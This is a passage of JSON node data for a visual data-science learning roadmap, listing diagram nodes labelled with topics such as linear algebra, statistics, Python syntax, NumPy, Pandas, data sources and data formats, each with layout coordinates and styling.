{\n      \"id\": \"yGs2h10gZcO4GMaWfI3uW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 413.4926955731004 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Singular Value Decomposition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DUIrJwuYHlhJvZJT2acaY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"measured\": { \"width\": 291, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"1IhaXJxNREq2HA1nT-lMM\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 309.4926955731004 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Matrix & Matrix Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P32Rmnln5NCFWz4LP0k05\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 291, \"height\": 49 }\n    },\n    {\n      \"id\": \"3p98Uwf8gyALDr-89lBEZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 517.4926955731004 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Eigenvalues, Diagonalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7dl5NP_3U_Yoi-QBcRJW7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"measured\": { \"width\": 291, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"XmnWnPE1sVXheuc-M_Ew7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 465.4926955731004 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Determinants, inverse of Matrix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P576TdYcbE6v3RpJntiKw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 291, \"height\": 49 }\n    },\n    {\n      \"id\": \"5DiaZkljhHAGPi9DkaH3b\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 770.1795741993549 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WSYIFni7G2C9Jr0pwuami\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"width\": 281,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"p8q1Gtt9x19jw5_-YjAGh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -324.6381872719935, \"y\": 524.6816408194883 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Basics of Probability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7o6g0wQxHH9i9MMCoDq2C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"measured\": { \"width\": 300, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 300 }\n    },\n    {\n      \"id\": \"ZaoZ2XxicKuTDn4uxe52L\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 910.525735365193 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Descriptive Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PnOoShqB3z4LuUvp0Gh2e\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 300 }\n    },\n    {\n      \"id\": \"P32Rmnln5NCFWz4LP0k05\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 858.525735365193 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P576TdYcbE6v3RpJntiKw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": { \"width\": 300, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 281, \"height\": 49 }\n    },\n    {\n      \"id\": \"WLlZE_vto-CYY5GLV_w7o\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -324.6381872719935, \"y\": 680.6816408194883 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Types of Distribution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7o6g0wQxHH9i9MMCoDq2C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"measured\": { \"width\": 300, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 300 }\n    },\n    {\n      \"id\": \"P576TdYcbE6v3RpJntiKw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -324.6381872719935, \"y\": 628.6816408194883 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Random Variances, PDFs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GN6SnI7RXIeW8JeD-qORW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"style\": { \"width\": 300, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 300, \"height\": 49 }\n    },\n    {\n      \"id\": \"7o6g0wQxHH9i9MMCoDq2C\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -324.6381872719935, \"y\": 576.6816408194883 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Bayes Theorem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jJukG4XxfFcID_VlQKqe-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 49,\n      \"measured\": { \"width\": 300, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 300 }\n    },\n    {\n      \"id\": \"DUIrJwuYHlhJvZJT2acaY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 1014.525735365193 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Inferential Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BmpRzmsrrJ_5HVsocM36P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 300 }\n    },\n    {\n      \"id\": \"MYZUJ1uHIaRd1Gb4ORzwG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 962.525735365193 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Graphs & Charts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PnOoShqB3z4LuUvp0Gh2e\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 300 }\n    },\n    {\n      \"id\": \"tP0oBkjvJC9hrtARkgLon\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -267.6381872719935, \"y\": 769.1754066561159 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linear Algebra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rzhVFzl5H5MWtcvr8ayRk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 186, \"height\": 49 },\n      \"width\": 186,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"N_vLjBVdsGsoePtqlqh2w\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 607.2521846096073 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Discrete Mathematics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5DiaZkljhHAGPi9DkaH3b\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"width\": 281,\n      \"height\": 49,\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qDn1elMoPIBgQSCWiYkLI\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 78.09010183215503, \"y\": 656.2521846096073 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yKtRmgwrJ75VVz7_txZ-S\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"measured\": { \"width\": 272, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"width\": 256,\n      \"height\": 49,\n      \"id\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 884.8008586234389 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GH6G-cCMU_WCXeJ1SiiCt\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 327, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 154.5, \"y\": 794.3333333333334 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 },\n      \"selectable\": true\n    },\n    {\n      \"id\": \"dEFLBGpiH6nbSMeR7ecaT\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 1001.8008586234389 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Variables and Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -615.9741508977197, \"y\": 41.78564472786405 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"NP1kjSk0ujU0Gx-ajNHlR\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 1160.800858623439 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conditionals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Dvy7BnNzK55qbh_SgOk8m\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -615.9741508977197, \"y\": 94.78564472786405 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 1054.800858623439 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 131.83083459739703, \"y\": -38.7695706291704 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"fNTb9y3zs1HPYclAmu_Wv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 1213.800858623439 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exceptions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 131.83083459739703, \"y\": 14.230429370829597 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"-DJgS6l2qngfwurExlmmT\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 1266.800858623439 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Functions, Builtin Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 131.83083459739703, \"y\": 67.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"Dvy7BnNzK55qbh_SgOk8m\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 1107.800858623439 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Loops\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -615.9741508977197, \"y\": 147.78564472786405 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"nN9BumBHi-c9HKFlgL2GH\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -324.6381872719935, \"y\": 884.8008586234389 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rzhVFzl5H5MWtcvr8ayRk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 300, \"height\": 49 },\n      \"width\": 300,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ybqwtlHG4HMm5lyUKW2SO\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -324.6381872719935, \"y\": 1127.603609662992 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Essential libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rzhVFzl5H5MWtcvr8ayRk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 300, \"height\": 49 },\n      \"width\": 300,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"nKE9sO-f2fdMiuLu2xby1\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -325.6381872719935, \"y\": 985.8008586234389 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Numpy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PnOoShqB3z4LuUvp0Gh2e\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 50,\n      \"measured\": { \"width\": 131, \"height\": 50 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 131 }\n    },\n    {\n      \"id\": \"PnOoShqB3z4LuUvp0Gh2e\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -325.6381872719935, \"y\": 1039.800858623439 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pandas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DUIrJwuYHlhJvZJT2acaY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 50,\n      \"measured\": { \"width\": 131, \"height\": 50 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 131 }\n    },\n    {\n      \"id\": \"OXbATvlhBXTQ1iRGwPUfb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -155.6381872719935, \"y\": 982.8091937099168 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Matplotlib\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VYVLUxhp3XxxknNr5V966\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 50,\n      \"measured\": { \"width\": 131, \"height\": 50 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 131 }\n    },\n    {\n      \"id\": \"VYVLUxhp3XxxknNr5V966\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -155.6381872719935, \"y\": 1036.8091937099168 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Seaborn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nKE9sO-f2fdMiuLu2xby1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 50,\n      \"measured\": { \"width\": 131, \"height\": 50 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 131 }\n    },\n    {\n      \"width\": 182,\n      \"height\": 65,\n      \"id\": \"FACaPgaf1EZRCYqh_yQlE\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -265.6381872719935, \"y\": 1274.800858623439 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Collection\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zdv96JeIxVl1ToieWcoAz\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 182, \"height\": 65 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"-oRH7LgigHcfBkNF1xwxh\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -710.377244443855, \"y\": 1282.800858623439 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Sources\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rzhVFzl5H5MWtcvr8ayRk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 269, \"height\": 49 },\n      \"width\": 269,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"VdMhrAi48V-JXw544YTKI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.7676696198831, \"y\": 1101.953252329432 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Databases (SQL, No-SQL)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qRHeaD2udDaItAxmiIiUg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 267, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"cxTriSZvrmXP4axKynIZW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6105876897502, \"y\": 1153.953252329432 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Internet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 141, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"s-wUPMaagyRupT2RdfHks\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -563.5286124480216, \"y\": 1153.953252329432 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 121, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dJZqe47kzRqYIG-4AZTlz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6105876897502, \"y\": 1206.953252329432 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mobile Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 141, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"KeGCHoJRHp-mBX-P5to4Y\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -564.5286124480216, \"y\": 1206.953252329432 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IoT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 123, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"U4LGIEE3igeE5Ed3EWzsu\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -710.377244443855, \"y\": 1389.7995821560758 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Formats\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rzhVFzl5H5MWtcvr8ayRk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 269, \"height\": 49 },\n      \"width\": 269,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kagKVPUyLtx8UPAFjRvbN\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -710.7201625137221, \"y\": 1526.101140609134 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JSON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m4vmnxRMBf7zwNnwrMEnk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 135, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"tq6WRwUpaCok9fX-0bY7m\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -571.377244443855, \"y\": 1527.3015848371492 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Parquet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vBnqnIh_xSn0OuY9oQ5e-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 121, 